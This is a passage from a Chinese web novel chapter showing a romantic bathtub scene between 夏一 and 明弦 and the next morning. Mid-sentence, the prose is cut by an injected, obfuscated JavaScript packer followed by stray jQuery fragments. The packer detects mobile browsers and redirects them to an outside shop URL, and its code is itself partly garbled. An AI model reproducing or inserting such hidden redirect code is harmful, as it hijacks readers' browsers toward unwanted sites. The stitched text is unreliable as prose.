水霧縈繞間,昳麗五官浮現。
“差點忘了。”他抬手準備取下隱形眼鏡,被她攔住。
“取下這個,對你可不太安全,”夏一笑得飽含深意,她歪歪頭,“萬一我......失控了——”
她直接捅開兩人心照不宣的隱晦。
“你將錯過殺我的時機,更不可能有逃離的機會。”
她的異能,自己早就見過,隻是她不知道罷了。
明弦並沒有出現她預想中的遲疑。他勾了勾美好唇形,隨即取下眼鏡,一雙冰藍在霧氣間晃動。
本該是通透冰冷的色澤,在他臉上卻顯得無比綺麗。
“我想要你看清楚。”
既然她說不記得,那就讓她好好記住。
說一些奇怪的話隻會把她驚到逃跑,就像在萊茵時那樣。要讓她自己靠過來,再把主動權交予她......
他拉近夏一,臉對著臉,看到她深黑瞳孔在水霧間隱秘地反複緊縮又張開,視線在自己眼睛上停留許久。
他將她的手貼在自己臉上輕輕蹭了蹭,滿意看到她自負的笑臉緩緩褪去。
他輕輕挪動覆在她手上的手指,勾著她的手指在自己臉上描摹,撫過自己的眉梢,撫過眼尾,撫過鼻尖......到最後,不需要他再幫助,就已停留在自己唇上摩挲的手指。
本還上揚的嘴角,弧度逐漸拉平,夏一覺得自己原先簡直大錯特錯。看過這麼一張臉,怎麼可能會覺得無趣。
記憶像是被填充完整,這張臉好像在自己麵前對應上無數畫麵。
她感覺盥洗室內的溫度全灌進了腦子裡,又脹又熱。手上傳來的觸感,像是直接撥弄在自己心臟表麵,微微彈動。
黑瞳黯下的一刻,她想,失控也不怪自己。
手指摩挲的
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201014|134144||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
唇珠緩緩張合。
“檢查清楚了——唔......”
齒關狠狠叩了上去,冰藍眼眸像是被水霧覆上一層水色,藍色水光晃動起來,搖搖欲墜般。夏一一手掌在他頸後,一手插入淺金發絲,口中嘗到鐵鏽般的味道,卻帶著一絲甘甜。
她鬆開牙齒停了下來,被滾燙手掌攀上肩膀的感覺拉回神,她下意識想轉頭看去,後腰被同樣散發熱氣的手掌按住,本欲分開的柔軟又緊緊貼合、摩擦起來。呼吸交替間,她感覺唇上被濕糯的綿軟掃過,分不清是盥洗室溫度過高還是異能開始不穩定,她感到大腦開始發麻,眼前好像陷入一片空白,隻餘一對冰藍光芒在晃動。
已近失焦的一雙冰藍,望向麵前突然停下動作的人,明弦喘息急促,臉上像是窒息般被憋紅。還來不及失望,夏一已翻進浴缸。
水位像是承受不住兩人,水花撲騰著向外湧去。明弦被死死按在浴缸邊緣,扣在自己腦後的手,連帶扯住了一些發絲,令他頭皮刺痛,卻又湧上一陣酥麻,他唇瓣被撬開,被動承受兩人的呼吸。
熨帖在一起的身體仿佛比水溫還要高,夏一抬手抹向已近失神的人眼角,那似乎是生理刺激流下的水珠,像是融化在她指尖,滾燙無比。
就在兩人都要窒息在浴缸中時,她才緩緩錯開腦袋。
“你就是這麼檢查的?”明弦氣息不穩的低聲詢問,胸口還在劇烈起伏。本來完好無損的麵部,已被染上紅暈,唇角還掛著血跡,隨著他說話間傳來刺痛。
“不願意?”夏一壞笑著反問他,白色發尾已被沾濕,衣服也狼狽貼在身上。她手背貼上劇烈起伏的胸口,感受到那突突跳動的心臟,然後作勢手撐在浴缸邊緣,語氣一變冷聲說:“那算了......”
“嗒噠——”
浴缸又飛濺出水花,明弦把人扯回腿上,一手托住她腰,一手環在她後背。
他臉輕輕蹭著她,及時止住想要脫口而出的話語。再開口時悅耳嗓音已近低啞,“叫我的名字,夏一。”
她從來不叫自己的名字。雖然知道是她顧忌自己隱藏身份,但他想聽。
夏一悄悄撚了撚手指,滾燙水珠的觸感似乎還停留在指尖。
“明弦......”
耳邊隨即傳來一聲喟歎,濕熱唇瓣又貼合在了一起。
-
臥室遮光很好。夏一再醒來時,在一片黑暗中發呆良久。
像是宿醉一樣,這是睡了多久?
枕在她腦袋底下的部位極有彈性,她感到身後手臂緊了緊,臉被埋得越發深入,心跳仿佛躍動在眼前。
兩個半夜在浴缸裡傻乎乎親吻的人,最後差點連換衣服的力氣都沒剩。
色令智昏......真狼狽啊!
還好,他更狼狽。
夏一想要撐起身體,背後的手臂卻絲毫不給機會。
“我去拿老秦準備的衣服。”夏一無奈道,他身上隻穿著睡袍,自己眼睛都不好亂放。
“不急......頭暈眼花,沒力氣。”慵懶的聲音回應她,眼睛都沒睜開。
“你還是去恢複艙——”
“恢複艙能躺兩個人?”
“當然不能。”
“不去。”